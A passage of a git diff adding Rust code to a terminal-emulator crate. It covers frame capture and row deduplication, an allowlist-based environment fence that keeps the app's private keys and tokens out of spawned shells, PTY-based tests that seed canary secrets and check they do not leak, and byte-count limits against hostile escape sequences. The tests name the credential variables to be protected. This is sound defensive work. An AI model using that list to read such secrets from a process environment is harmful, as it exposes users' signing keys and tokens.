+/// Visual style of a span, as the renderer needs it. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub struct Style { + pub fg: u32, + pub bg: u32, + pub flags: u16, +} + +/// One changed row. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct RowFrame { + pub line: usize, + pub spans: Vec, +} + +/// The cursor, carried separately from row content. +/// +/// Upstream damages the cursor's line on every `damage()` call. If the cursor +/// travelled inside the row payload, every frame would carry a row rewrite for +/// a caret that moved one column. As its own plane it costs a few bytes and +/// leaves row dedup free to suppress the row. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct CursorFrame { + pub line: usize, + pub column: usize, + pub visible: bool, +} + +/// One update for the renderer. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Frame { + pub rows: Vec, + pub cursor: CursorFrame, + /// Whether the cursor plane changed since this encoder's previous frame. + /// Cursor movement can be the only visible effect of input (for example, + /// echoing a space over an already blank cell), so it independently makes + /// an incremental frame publishable. + pub cursor_changed: bool, + /// Whether the renderer should discard what it has and repaint. + pub full: bool, + /// The grid this frame describes. A change means the terminal was resized + /// and row indices refer to a different geometry than the previous frame's. + /// Carried so the consumer can detect that from the frame itself instead of + /// trusting that no resize overtook it in flight -- across a transport, a + /// frame captured before a resize can arrive after it. + pub viewport: crate::Viewport, +} + +impl Frame { + /// True when there is nothing for the renderer to do. + pub fn is_empty(&self) -> bool { + self.rows.is_empty() && !self.cursor_changed && !self.full + } +} + +/// Raw rows copied out from under the lock, awaiting encode. +pub struct RawFrame { + rows: Vec<(usize, Vec)>, + cursor: CursorFrame, + full: bool, + viewport: crate::Viewport, +} + +/// The grid line a screen row reads from. +/// +/// The grid indexes the active area from 0 and scrollback with *negative* +/// lines, so scrolling back `n` lines means every screen row reads `n` lines +/// higher. At the live edge the offset is zero and this is the identity, which +/// is why the unscrolled path is unchanged rather than merely equivalent. +fn row_of(screen_row: usize, display_offset: usize) -> Line { + Line(screen_row as i32 - display_offset as i32) +} + +/// Where the cursor sits on screen, given how far the viewport is scrolled +/// back. +/// +/// The grid keeps the cursor in *active-area* coordinates, which do not move +/// when the user scrolls; the renderer paints *screen rows*, which do. The two +/// agree only at the live edge, so the conversion has to happen somewhere, and +/// it happens here rather than in the renderer -- the renderer is not told the +/// display offset, and giving it one would put this same arithmetic on the far +/// side of a transport. +/// +/// Scrolling far enough pushes the cursor off the bottom of the viewport, and +/// then it is reported as not visible. Without that clamp a caret drawn at a +/// clamped row would sit on some unrelated line of history, which reads as +/// corruption rather than as scrollback. +fn cursor_frame( + cursor_point: alacritty_terminal::index::Point, + display_offset: usize, + screen_lines: usize, + shown: bool, +) -> CursorFrame { + let line = cursor_point.line.0.max(0) as usize + display_offset; + CursorFrame { + line: line.min(screen_lines.saturating_sub(1)), + column: cursor_point.column.0, + visible: shown && line < screen_lines, + } +} + +/// Copy the damaged rows out of the terminal. **Runs under the lock; does no +/// encoding.** Keep this function boring — everything added here is lock hold. +pub fn capture(terminal: &mut crate::Terminal) -> RawFrame { + let viewport = terminal.viewport(); + let display_offset = terminal.display_offset(); + let term = terminal.term_mut(); + let columns = term.columns(); + let screen_lines = term.screen_lines(); + let cursor_point = term.grid().cursor.point; + let shown = term + .mode() + .contains(alacritty_terminal::term::TermMode::SHOW_CURSOR); + + // Upstream's partial iterator already reports **screen** rows: it offsets + // each damaged active-area line by the display offset and drops the ones + // that scrolling pushed off the bottom (`TermDamageIterator::new`). So both + // arms below speak the same coordinate, and `row_of` converts once. + let (lines, full) = match term.damage() { + TermDamage::Full => ((0..screen_lines).collect::>(), true), + TermDamage::Partial(iter) => ( + iter.map(|bounds| bounds.line) + .filter(|l| *l < screen_lines) + .collect(), + false, + ), + }; + + let grid = term.grid(); + let mut rows = Vec::with_capacity(lines.len()); + for line in lines { + let row = &grid[row_of(line, display_offset)]; + rows.push((line, row[..Column(columns)].to_vec())); + } + let cursor = cursor_frame(cursor_point, display_offset, screen_lines, shown); + + term.reset_damage(); + RawFrame { + rows, + cursor, + full, + viewport, + } +} + +/// Copy the **entire visible viewport**, leaving damage untouched. +/// +/// This exists for subscribers that arrive mid-stream: attach, reattach, and +/// the successor side of a resize. Damage only describes what changed since +/// the last capture, so a newcomer that starts from [`capture`] sees whatever +/// happened to change next -- often just the cursor's line -- painted onto a +/// blank screen. Upstream's `mark_fully_damaged` is private, so an embedder +/// cannot ask for a full frame that way. +/// +/// **It must not consume damage, and that is the load-bearing property.** The +/// incumbent subscriber's next [`capture`] has to still see its rows. If this +/// called `damage()`/`reset_damage()` it would steal them, and the incumbent +/// would freeze on stale content while a newcomer's full-frame test passed. +/// The absence of those two calls below is the mechanism; `snapshot_test.rs` +/// is the proof. +/// +/// **Runs under the lock; does no encoding.** Costs a full grid copy rather +/// than a damaged-rows copy, so it belongs on attach, not in the frame loop. +pub fn capture_all(terminal: &mut crate::Terminal) -> RawFrame { + let viewport = terminal.viewport(); + let display_offset = terminal.display_offset(); + let term = terminal.term_mut(); + let columns = term.columns(); + let screen_lines = term.screen_lines(); + let cursor_point = term.grid().cursor.point; + let shown = term + .mode() + .contains(alacritty_terminal::term::TermMode::SHOW_CURSOR); + + let grid = term.grid(); + let mut rows = Vec::with_capacity(screen_lines); + for line in 0..screen_lines { + let row = &grid[row_of(line, display_offset)]; + rows.push((line, row[..Column(columns)].to_vec())); + } + let cursor = cursor_frame(cursor_point, display_offset, screen_lines, shown); + + // No `damage()` and no `reset_damage()`: see the note above. + RawFrame { + rows, + cursor, + // A snapshot *is* a repaint, and marking it full also resets the + // consumer's `Encoder` hashes, so its dedup state describes the grid it + // was actually given rather than a predecessor's. + full: true, + viewport, + } +} + +/// Suppresses rows whose content did not actually change. +#[derive(Default)] +pub struct Encoder { + hashes: Vec, + cursor: Option, +} + +impl Encoder { + pub fn new() -> Self { + Self::default() + } + + /// Encode a captured frame. **Runs with the lock released.** + pub fn encode(&mut self, raw: RawFrame) -> Frame { + // A full frame invalidates the dedup cache. Both routes that produce + // one matter: a `mark_fully_damaged` from scroll/alt-swap, and a resize, + // where the cached hashes describe rows of a different width entirely. + if raw.full { + self.hashes.clear(); + } + let mut rows = Vec::with_capacity(raw.rows.len()); + for (line, cells) in raw.rows { + let hash = hash_cells(&cells); + if self.hashes.len() <= line { + self.hashes.resize(line + 1, 0); + } + if self.hashes[line] == hash { + continue; + } + self.hashes[line] = hash; + rows.push(RowFrame { + line, + spans: spans(&cells), + }); + } + let cursor_changed = self.cursor != Some(raw.cursor); + self.cursor = Some(raw.cursor); + Frame { + rows, + cursor: raw.cursor, + cursor_changed, + full: raw.full, + viewport: raw.viewport, + } + } +} + +fn hash_cells(cells: &[Cell]) -> u64 { + let mut hasher = DefaultHasher::new(); + for cell in cells { + cell.c.hash(&mut hasher); + // Hash the *packed* colors, not the enum: this is the representation + // the renderer receives, so the dedup key cannot disagree with the + // wire encoding and suppress a row that actually changed on screen. + pack_color(cell.fg).hash(&mut hasher); + pack_color(cell.bg).hash(&mut hasher); + cell.flags.bits().hash(&mut hasher); + if let Some(zerowidth) = cell.zerowidth() { + zerowidth.hash(&mut hasher); + } + } + hasher.finish() +} + +/// Group a row's cells into runs of uniform style and width. +/// +/// A run continues only while style *and* width match, and a cell carrying +/// zerowidth marks is always emitted alone. Both breaks exist so the consumer +/// can compute each cluster's column as `column + i * width`; see [`Span`]. +/// +/// The width comparison is the only thing keeping widths uniform within a run: +/// [`Style`] deliberately excludes [`GEOMETRY_FLAGS`], so a style key cannot +/// break a run on width behind this check's back. +fn spans(cells: &[Cell]) -> Vec { + let mut spans: Vec = Vec::new(); + // Whether the run in progress may still be extended. Kept here rather than + // on `Span` because it is grouping bookkeeping, not part of the wire shape. + let mut open = false; + for (column, cell) in cells.iter().enumerate() { + // A wide glyph occupies two cells: the character, then a spacer. The + // spacer carries no text of its own -- emitting its placeholder space + // would insert a phantom column after every CJK character or emoji. + if cell.flags.contains(Flags::WIDE_CHAR_SPACER) { + continue; + } + let style = style_of(cell); + let width = if cell.flags.contains(Flags::WIDE_CHAR) { + 2 + } else { + 1 + }; + let zerowidth = cell.zerowidth(); + let mut text = String::new(); + text.push(cell.c); + if let Some(marks) = zerowidth { + text.extend(marks); + } + + // A cluster with combining marks holds more `char`s than columns, so it + // cannot share a run: it is the one case where "one char per cluster" + // stops holding. + let joinable = zerowidth.is_none(); + match spans.last_mut() { + // `cluster_count` is refused rather than wrapped when it would + // overflow: the run simply ends and a new span starts at this + // column, which the consumer's rule already handles. + Some(last) + if open + && joinable + && last.style == style + && last.width == width + && last.cluster_count < u16::MAX => + { + last.text.push_str(&text); + last.cluster_count += 1; + } + _ => spans.push(Span { + column, + text, + width, + cluster_count: 1, + style, + }), + } + open = joinable; + } + // Enforced in release, not just in debug. This is a *wire* invariant: a + // span that violates it is undecodable by the rule in [`Span`], and the + // consumer's failure is silent misplacement of every cluster after it. + // A `debug_assert` here would vanish in exactly the build where that + // corruption ships. The cost is one pass over text already in cache -- + // the same order as building the spans -- and it buys a loud, local + // failure instead of a renderer quietly drawing the wrong columns. + assert!( + spans.iter().all(Span::counts_are_consistent), + "cluster_count must be 1 or the span's char count" + ); + spans +} + +/// Flags describing where a cell sits in the grid rather than how it looks. +/// +/// `WRAPLINE` marks the last cell of a row that wrapped; the three wide-char +/// bits mark a two-column glyph and its spacer. Neither says anything about +/// appearance. +/// +/// These are excluded from [`Style`] so the style key means one thing: visual +/// attributes. Geometry travels in [`Span::width`], which is compared on its +/// own when grouping -- if these bits stayed in the key they would break runs +/// as a side effect and leave the width comparison untestable. +/// +/// Composite visual aliases (`BOLD_ITALIC`, `DIM_BOLD`, `ALL_UNDERLINES`) are +/// deliberately not masked: those are appearance. +const GEOMETRY_FLAGS: Flags = Flags::WRAPLINE + .union(Flags::WIDE_CHAR) + .union(Flags::WIDE_CHAR_SPACER) + .union(Flags::LEADING_WIDE_CHAR_SPACER); + +fn style_of(cell: &Cell) -> Style { + Style { + fg: pack_color(cell.fg), + bg: pack_color(cell.bg), + flags: cell.flags.difference(GEOMETRY_FLAGS).bits(), + } +} + +/// Pack a color into a tagged u32 the renderer resolves against the theme. +/// +/// Named and indexed colors stay symbolic rather than being resolved here: +/// the substrate must follow the user's chosen theme, so the palette belongs +/// to the renderer, not to a snapshot taken at damage time. +fn pack_color(color: alacritty_terminal::vte::ansi::Color) -> u32 { + use alacritty_terminal::vte::ansi::Color; + match color { + Color::Named(named) => 0x0100_0000 | named as u32, + Color::Indexed(index) => 0x0200_0000 | index as u32, + Color::Spec(rgb) => { + 0x0300_0000 | ((rgb.r as u32) << 16) | ((rgb.g as u32) << 8) | rgb.b as u32 + } + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/env_fence.rs b/desktop/src-tauri/crates/buzz-terminal/src/env_fence.rs new file mode 100644 index 0000000000..2430d54a4a --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/env_fence.rs @@ -0,0 +1,85 @@ +//! Environment fence for spawned PTY children. +//! +//! Buzz's own process holds `BUZZ_PRIVATE_KEY` (an nsec), `BUZZ_AUTH_TAG`, and +//! relay credentials. `portable_pty::CommandBuilder::new()` pre-seeds its env +//! map from `std::env::vars_os()` (`cmdbuilder.rs:218` -> `get_base_env()` +//! `:74`), so a shell spawned with the default builder inherits **all** of it: +//! the user types `env` and reads the signing key off the screen. +//! +//! The in-repo `feat/terminal` branch (`4f287d158`, abandoned 2026-05-22) +//! demonstrates the failure mode this module exists to prevent. It removed +//! seven Hermit/macOS keys by denylist under a comment promising "a clean +//! environment" and passed 68 variables — including the nsec — to the child. +//! A denylist is only as current as the last time someone remembered to +//! extend it; it was correct for the polluted-`PATH` threat it was written +//! for and became a key-disclosure bug when the app started holding secrets. +//! +//! So: **allowlist, never denylist.** Clear the inherited environment +//! wholesale, then rebuild only what a terminal legitimately needs. + +use portable_pty::CommandBuilder; + +/// Keys the child is allowed to inherit from Buzz's own environment. +/// +/// Deliberately minimal: each entry is something a shell genuinely cannot +/// function without, or that visibly degrades the session by its absence. +/// Anything not listed here does not reach the child, including keys that do +/// not exist yet — which is the property a denylist cannot offer. +const INHERIT_ALLOWLIST: &[&str] = &[ + "HOME", // shell startup files, ~ expansion + "USER", // prompt expansion, `whoami`-adjacent tooling + "LOGNAME", // POSIX companion to USER + "LANG", // UTF-8 decoding of the child's own output + "LC_ALL", // explicit locale override, when set + "LC_CTYPE", // character classification; wide/emoji handling + "TZ", // timestamps in prompts and logs + "TMPDIR", // per-user temp dir; absence breaks many tools on macOS +]; + +/// Values Buzz sets on the child unconditionally, overriding any inherited +/// value. `TERM` in particular must describe *our* emulator, not whatever +/// terminal happened to launch the desktop app. +const OVERRIDES: &[(&str, &str)] = &[ + ("TERM", "xterm-256color"), + ("TERM_PROGRAM", "Buzz"), + ("COLORTERM", "truecolor"), +]; + +/// Applies the environment fence to `cmd`, returning it for chaining. +/// +/// Ordering is load-bearing and the reverse fails silently: `env_clear()` +/// discards every accumulated entry, so clearing *after* populating yields a +/// child with an empty environment and no error anywhere. Clear first, then +/// rebuild. +/// +/// `shell` is the *resolved* shell from [`crate::shell::resolve_shell`], and +/// it is injected rather than inherited. Buzz's own `SHELL` and the shell we +/// actually spawn are different values in exactly the cases the resolution +/// fallback exists for — a Finder-launched app with no `$SHELL`, or a +/// `$SHELL` that fails the executable-regular-file check — so inheriting it +/// would tell the child it is running something it is not. +pub fn fence_env(cmd: &mut CommandBuilder, path: &str, shell: &str) { + // 1. Drop the inherited environment wholesale, secrets included. + cmd.env_clear(); + + // 2. Rebuild only the allowlisted keys that are actually present. + for key in INHERIT_ALLOWLIST { + if let Some(value) = std::env::var_os(key) { + cmd.env(key, value); + } + } + + // 3. Apply Buzz's own terminal identity. + for (key, value) in OVERRIDES { + cmd.env(key, value); + } + + // 4. PATH is supplied by the caller rather than inherited; see + // `path::user_shell_path`. + cmd.env("PATH", path); + + // 5. The resolved shell, last. `CommandBuilder::as_command` writes its own + // `SHELL` before applying this map (`cmdbuilder.rs:528-536`), so our + // explicit entry is the one the child sees. + cmd.env("SHELL", shell); +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/env_fence_tests.rs b/desktop/src-tauri/crates/buzz-terminal/src/env_fence_tests.rs new file mode 100644 index 0000000000..6d99337c4b --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/env_fence_tests.rs @@ -0,0 +1,359 @@ +//! Secret-leak gate for the environment fence. +//! +//! These tests spawn a real PTY child and read its actual environment. An +//! assertion against the `CommandBuilder` alone would be weaker: it would not +//! prove that what the builder holds is what the kernel hands the child. + +use crate::env_fence::fence_env; +use crate::path::user_shell_path; +use crate::shell::{is_executable_file, login_argv0, resolve_shell, FALLBACK_SHELL}; +use portable_pty::{native_pty_system, CommandBuilder, PtySize}; +use std::io::Read; + +/// Secrets Buzz's own process holds. Sourced from the desktop crate's +/// `RESERVED_ENV_KEYS` (`src/managed_agents/env_vars.rs:58`); duplicated +/// rather than imported because this crate deliberately has no dependency +/// on the Tauri crate. `reserved_keys_are_covered` keeps the two in step. +const SECRET_KEYS: &[&str] = &[ + "BUZZ_PRIVATE_KEY", + "NOSTR_PRIVATE_KEY", + "BUZZ_AUTH_TAG", + "BUZZ_API_TOKEN", + "BUZZ_ACP_PRIVATE_KEY", + "BUZZ_ACP_API_TOKEN", + "BUZZ_RELAY_URL", +]; + +const CANARY: &str = "SAMI_CANARY_MUST_NOT_LEAK"; + +/// Uniquely-named executable seeded into Buzz's own PATH; the child must not +/// be able to run it. +const CANARY_BIN: &str = "buzz-hermit-canary-tool"; + +/// Creates a fixture file at `name` with `mode`, replacing any leftover from +/// a previous run. +/// +/// The removal is not tidiness: a fixture written at mode `0o010` is not +/// writable by its own owner, so a second run in the same temp dir fails with +/// `Permission denied` before reaching a single assertion. Green on a fresh +/// runner, red on a persistent one — a test must not depend on which it got. +#[cfg(unix)] +fn fixture_file(name: &str, contents: &str, mode: u32) -> std::path::PathBuf { + use std::os::unix::fs::PermissionsExt; + + let path = std::env::temp_dir().join(name); + let _ = std::fs::remove_file(&path); + std::fs::write(&path, contents).expect("write fixture"); + std::fs::set_permissions(&path, std::fs::Permissions::from_mode(mode)).expect("chmod fixture"); + path +} + +/// Runs `env` in a real PTY child under the full fence and returns its output. +fn fenced_child_environment() -> String { + let shell = resolve_shell(std::env::var("SHELL").ok().as_deref()); + child_environment(|cmd| fence_env(cmd, &user_shell_path(), &shell)) +} + +/// Runs `env` in a real PTY child and returns its raw output. +fn child_environment(build: impl FnOnce(&mut CommandBuilder)) -> String { + child_command(build, "env") +} + +/// Runs `script` in a real PTY child under `build`'s fence and returns the +/// child's output. +/// +/// The child is a real process on a real PTY rather than an inspection of the +/// `CommandBuilder`: the builder is what we asked for, and the child's +/// `environ` is what the kernel actually delivered. Only the second one is the +/// property under test. +fn child_command(build: impl FnOnce(&mut CommandBuilder), script: &str) -> String { + let pty = native_pty_system(); + let pair = pty + .openpty(PtySize { + rows: 24, + cols: 80, + pixel_width: 0, + pixel_height: 0, + }) + .expect("openpty"); + + let mut cmd = CommandBuilder::new("/bin/sh"); + build(&mut cmd); + cmd.arg("-c"); + cmd.arg(script); + + let mut child = pair.slave.spawn_command(cmd).expect("spawn"); + drop(pair.slave); + + let mut reader = pair.master.try_clone_reader().expect("reader"); + let mut out = String::new(); + reader.read_to_string(&mut out).expect("read child output"); + child.wait().expect("wait"); + out +} + +/// Seeds this process with secrets so the fence has something to leak. +/// +/// Note these are process-global; the tests that rely on them assert on a +/// canary value they set themselves, so a real `BUZZ_PRIVATE_KEY` in the +/// developer's environment neither masks a failure nor causes one. +fn seed_secrets() { + for key in SECRET_KEYS { + std::env::set_var(key, format!("{CANARY}_{key}")); + } +} + +#[test] +fn fence_keeps_secrets_out_of_the_child() { + seed_secrets(); + let out = fenced_child_environment(); + + assert!( + !out.contains(CANARY), + "a reserved secret reached the child environment:\n{out}" + ); + for key in SECRET_KEYS { + assert!( + !out.lines().any(|line| line.starts_with(&format!("{key}="))), + "{key} reached the child environment:\n{out}" + ); + } +} + +/// The other half of the assertion. A fence that clears in the wrong order +/// produces an empty environment: it passes the leak check above while +/// shipping a shell with no context and no error. Asserting only the negative +/// would ratify that bug. +#[test] +fn fence_still_delivers_the_terminal_contract() { + seed_secrets(); + let out = fenced_child_environment(); + + for (key, value) in [("TERM", "xterm-256color"), ("TERM_PROGRAM", "Buzz")] { + assert!( + out.lines().any(|line| line == format!("{key}={value}")), + "{key} missing from child environment:\n{out}" + ); + } + assert!( + out.lines().any(|line| line.starts_with("PATH=")), + "PATH missing from child environment:\n{out}" + ); +} + +/// The fence must be exhaustive, not enumerated: a secret invented tomorrow +/// is excluded because it was never allowlisted. This is the property the +/// `feat/terminal` denylist could not offer. +#[test] +fn fence_excludes_keys_it_has_never_heard_of() { + std::env::set_var("BUZZ_SOME_FUTURE_CREDENTIAL", CANARY); + let out = fenced_child_environment(); + + assert!( + !out.contains("BUZZ_SOME_FUTURE_CREDENTIAL"), + "an unknown key reached the child:\n{out}" + ); +} + +/// `PATH` is constructed, not inherited, so Buzz's Hermit build toolchain +/// never becomes the user's shell toolchain. +/// +/// The assertion is *reachability*, not a string comparison: we seed a +/// uniquely-named executable into this process's `PATH` and prove the child +/// cannot run it. A string check would pass a fence that inherited a +/// differently-spelled toolchain directory, and would fail a fence that +/// legitimately contained the substring; `command -v` asks the question the +/// user actually asks by typing a command name. +#[test] +fn child_path_is_free_of_buzz_toolchain() { + let dir = std::env::temp_dir().join("buzz-terminal-path-canary"); + std::fs::create_dir_all(&dir).expect("canary dir"); + let canary = dir.join(CANARY_BIN); + std::fs::write(&canary, "#!/bin/sh\necho canary\n").expect("write canary"); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(&canary, std::fs::Permissions::from_mode(0o755)) + .expect("chmod canary"); + } + + // Stand in for Hermit activation: Buzz's own PATH leads with a directory + // holding a tool the user does not have. + std::env::set_var("PATH", format!("{}:/usr/bin:/bin", dir.display())); + assert!( + is_executable_file(&canary), + "test setup: canary must be executable" + ); + + let shell = resolve_shell(std::env::var("SHELL").ok().as_deref()); + let out = child_environment(|cmd| { + fence_env(cmd, &user_shell_path(), &shell); + }); + let path_line = out + .lines() + .find(|line| line.starts_with("PATH=")) + .expect("child has a PATH"); + assert!( + !path_line.contains("buzz-terminal-path-canary"), + "Buzz's toolchain leaked into the child PATH: {path_line}" + ); + + // The reachability arm: run `command -v` for the canary inside the fence. + let resolved = child_command( + |cmd| fence_env(cmd, &user_shell_path(), &shell), + &format!("command -v {CANARY_BIN} || echo CANARY_UNREACHABLE"), + ); + assert!( + resolved.contains("CANARY_UNREACHABLE"), + "a Buzz-only executable was reachable from the child shell: {resolved}" + ); +} + +/// `$SHELL` is honoured when it names an executable regular file. +#[test] +fn resolve_shell_prefers_a_valid_shell_env() { + assert_eq!(resolve_shell(Some("/bin/sh")), "/bin/sh"); +} + +/// The other direction: an unset `$SHELL` must fall through to the **passwd +/// database**, not to the hardcoded fallback. +/// +/// Asserting merely that the result is executable is vacuous — `/bin/sh` is +/// executable, so a resolver with the passwd step deleted entirely passes it. +/// Verified: mutant M8 (drop `.or_else(passwd_shell)`) survived that weaker +/// assertion. The property is *equality with the passwd entry*, and the +/// discriminating-power guard below refuses to pass silently on a machine +/// where the two candidates coincide. +#[test] +fn resolve_shell_falls_through_to_passwd_not_the_default() { + let Some(passwd) = crate::shell::passwd_shell() else { + panic!("no usable passwd shell; this gate cannot run on this machine"); + }; + assert_ne!( + passwd, FALLBACK_SHELL, + "passwd shell equals the fallback, so this test cannot tell the \ + passwd step from its absence; it must not report success" + ); + assert_eq!( + resolve_shell(None), + passwd, + "an unset $SHELL did not resolve to the passwd entry" + ); +} + +/// `access(X_OK)` returns 0 for a directory, so a `$SHELL` pointing at one +/// passes portable-pty's own check and produces a child that dies with a Rust +/// runtime panic. Requiring an executable *regular file* is what closes it. +#[test] +fn resolve_shell_rejects_a_directory_that_passes_x_ok() { + let dir = std::env::temp_dir(); + assert!( + !is_executable_file(&dir), + "a directory must not qualify as a shell" + ); + assert_ne!( + resolve_shell(dir.to_str()), + dir.to_str().unwrap(), + "a directory $SHELL was accepted; the child would abort on spawn" + ); +} + +/// Raw mode bits are not effective executability: a self-owned regular file +/// at mode `0o010` has `mode & 0o111 != 0` while `access(X_OK)` fails and +/// running it gives `Permission denied`. The metadata half of the predicate +/// cannot see this; only the `access` half can. +#[test] +fn resolve_shell_rejects_a_file_the_user_cannot_execute() { + use std::os::unix::fs::PermissionsExt; + + let path = fixture_file("buzz-terminal-group-only-exec", "#!/bin/sh\ntrue\n", 0o010); + let mode = std::fs::metadata(&path).expect("stat").permissions().mode(); + assert!( + mode & 0o111 != 0, + "test setup: some class must hold an execute bit, else this arm \ + cannot discriminate the mode check from the access check" + ); + + assert!( + !is_executable_file(&path), + "a file the effective user cannot execute was accepted as a shell" + ); + assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap()); +} + +/// A non-executable regular file falls through as well. +#[test] +fn resolve_shell_rejects_a_non_executable_file() { + let path = fixture_file("buzz-terminal-not-a-shell", "not a shell", 0o644); + assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap()); +} + +/// The login convention is `-`, applied without inspecting the +/// shell's name. Any shell — including ones that do not exist yet — gets +/// login semantics from argv0 rather than from a flag we guessed. +#[test] +fn login_argv0_is_shell_neutral() { + for (shell, expected) in [ + ("/bin/zsh", "-zsh"), + ("/usr/local/bin/fish", "-fish"), + ("/opt/nu/bin/nu", "-nu"), + (FALLBACK_SHELL, "-sh"), + ] { + assert_eq!(login_argv0(shell), expected); + } +} + +/// The child must be told the shell we actually spawned, not the one Buzz +/// itself was launched under. Asserting `SHELL` is merely present would pass +/// for an inherited value, which is wrong in exactly the fallback cases. +#[test] +fn child_shell_is_the_resolved_shell_not_the_inherited_one() { + std::env::set_var("SHELL", "/definitely/not/a/real/shell"); + let resolved = resolve_shell(std::env::var("SHELL").ok().as_deref()); + assert_ne!( + resolved, "/definitely/not/a/real/shell", + "test setup: the bogus shell must not resolve" + ); + + let out = child_environment(|cmd| fence_env(cmd, &user_shell_path(), &resolved)); + assert!( + out.lines().any(|line| line == format!("SHELL={resolved}")), + "child SHELL is not the resolved shell (expected {resolved}):\n{out}" + ); + assert!( + !out.contains("/definitely/not/a/real/shell"), + "the inherited SHELL reached the child:\n{out}" + ); +} + +/// Guards the duplication of `RESERVED_ENV_KEYS` above. If the desktop crate +/// grows a new secret, this points at the file to update. +#[test] +fn reserved_keys_are_covered() { + let source = include_str!("../../../src/managed_agents/env_vars.rs"); + let declared: Vec<&str> = source + .lines() + .skip_while(|line| !line.contains("RESERVED_ENV_KEYS")) + .take_while(|line| !line.trim_start().starts_with("];")) + .filter_map(|line| line.trim().strip_prefix('"')) + .filter_map(|line| line.split('"').next()) + .filter(|key| { + // Only identity/credential keys are in scope here: the rest of + // RESERVED_ENV_KEYS guards agent-config override, which cannot + // apply to a child that inherits nothing. + key.contains("PRIVATE_KEY") + || key.contains("AUTH_TAG") + || key.contains("API_TOKEN") + || key.contains("RELAY_URL") + }) + .collect(); + + assert!(!declared.is_empty(), "failed to parse RESERVED_ENV_KEYS"); + for key in declared { + assert!( + SECRET_KEYS.contains(&key), + "{key} is a credential in RESERVED_ENV_KEYS but is not covered by \ + this crate's SECRET_KEYS; add it here" + ); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/fences.rs b/desktop/src-tauri/crates/buzz-terminal/src/fences.rs new file mode 100644 index 0000000000..2797fa401f --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/fences.rs @@ -0,0 +1,262 @@ +//! The two hardening fences, and the counters that prove they ran. +//! +//! A hostile program can hold the parser's synchronized-update buffer open +//! (BSU without ESU) or an OSC string open, and upstream will buffer without +//! bound. Two independent fences, both enforced on **byte counts** — never on +//! a clock, because a clock makes the bound depend on how fast the machine is: +//! +//! * **F1** aborts a synchronized update once its buffer reaches [`SYNC_CAP`]. +//! * **F2** rebuilds the parser once [`OSC_BUDGET`] parser-visible bytes have +//! been charged without the parser returning to a clean state. +//! +//! F1 is also the interactive-latency fence. Without it a 2 MiB synchronized +//! frame releases into the parser in one call, holding the `Term` lock for +//! ~13 ms; with it the same frame arrives in 64 KiB pieces and renderer lock +//! acquisition drops from ~4.2 ms to ~29 us (146x). Deleting F1 regresses both +//! memory and latency. + +/// Max bytes a synchronized update may buffer before it is aborted. +pub const SYNC_CAP: usize = 64 << 10; + +/// Max parser-visible bytes chargeable before the parser is rebuilt. +pub const OSC_BUDGET: usize = 256 << 10; + +/// Max cost-weighted work one [`crate::reader::Feeder::drain`] may spend +/// before returning, in cell-equivalents. +/// +/// Derived, not chosen: measured worst-case density across the 2-D op sweep +/// is 16.9 ns/work (`erase_chars` at N=1, 80x24 -- the cheapest real callback, +/// where fixed dispatch cost dominates the single cell it touches), so a +/// 16.67 ms frame is ~988_000 work units. This is a quarter of that. The +/// remaining three quarters are headroom for lock acquisition, the counting +/// wrapper's own bookkeeping, and platforms slower than the one measured; +/// 16.9 ns/work is the max of a sample, not a proven ceiling, so it is not +/// spent to the last unit. +pub const WORK_BUDGET: u64 = 250_000; + +/// Widest slice handed to the parser at once. +/// +/// The floor is 1 byte and lives in [`slice_bytes_remaining`] rather than +/// here: on a grid whose worst atom exceeds the whole budget -- RIS at any +/// real scrollback depth -- no wider slice can promise to stop after the +/// callback that crosses. This cap is the other end, set at the throughput +/// plateau: plain-char parsing saturates by 64 bytes and is flat to 64 KiB +/// measured, so nothing above it buys anything and a larger value only +/// coarsens the cut. +pub const MAX_SLICE: usize = 256; + +/// Bytes to hand the parser next. +/// +/// The **only** slice-sizing function, deliberately: an earlier version of +/// this module also exported a `slice_bytes(columns, lines, scrollback)` that +/// the scheduler stopped calling when slices became remaining-aware, and the +/// fixtures went on asserting against it. The two disagreed exactly where the +/// floor bound -- reporting 4 where the engine used 1 -- so the preconditions +/// were describing a function no longer in the path. One function, one +/// answer, and every test asserts on what `drain` actually calls. +/// +/// The rule: a slice of `N` bytes holds at most `N / atom_bytes` atoms, so +/// `remaining / densest` bytes cannot carry a drain past the budget. +/// +/// `next_escape` is how far the next `ESC` is from the front of the tail. +/// This is the difference between a correct bound and an unusable one. Only +/// an escape can buy grid-sized work in two bytes; a run of ordinary +/// characters costs at most `columns` per byte (a wrapping line feed that +/// scrolls), which is four orders of magnitude cheaper than RIS. Pricing +/// plain text as though every byte might be RIS drops throughput from +/// 181 MB/s to 69 MB/s at the default scrollback -- measured -- while +/// bounding something that cannot happen. So a plain run is sliced against +/// the plain-byte cost and only the escape itself is metered against the +/// worst atom. +pub fn slice_bytes_remaining( + columns: usize, + lines: usize, + scrollback: usize, + spent: u64, + next_escape: usize, +) -> usize { + let remaining = WORK_BUDGET.saturating_sub(spent); + if next_escape > 0 { + // A plain run, and it stops at the escape: an escape sharing a slice + // with the text in front of it is how a callback runs *after* the one + // that crossed the budget, which is the overrun this bound exists to + // prevent. Worst case per plain byte is a line feed that scrolls, + // which resets one row: `columns`. + let per_byte = (columns as u64).max(1); + return ((remaining / per_byte) as usize).clamp(1, next_escape.min(MAX_SLICE)); + } + // An escape starts here. `ESC c` is the densest at two bytes. + let densest = (max_atom_work(columns, lines, scrollback) / 2).max(1); + ((remaining / densest) as usize).clamp(1, MAX_SLICE) +} + +/// Work the single worst uninterruptible callback can cost on this grid. +/// +/// This is the irreducible overrun past [`WORK_BUDGET`]: no scheduler outside +/// the parser can cut inside a callback, so a caller converting a work budget +/// into a time bound must add it. +/// +/// It is `columns` because [`crate::units::Counting`] terminates CBT at its +/// first fixed point. Upstream's own loop is `N x columns` -- 82 ms for eight +/// bytes at 1600 columns -- and 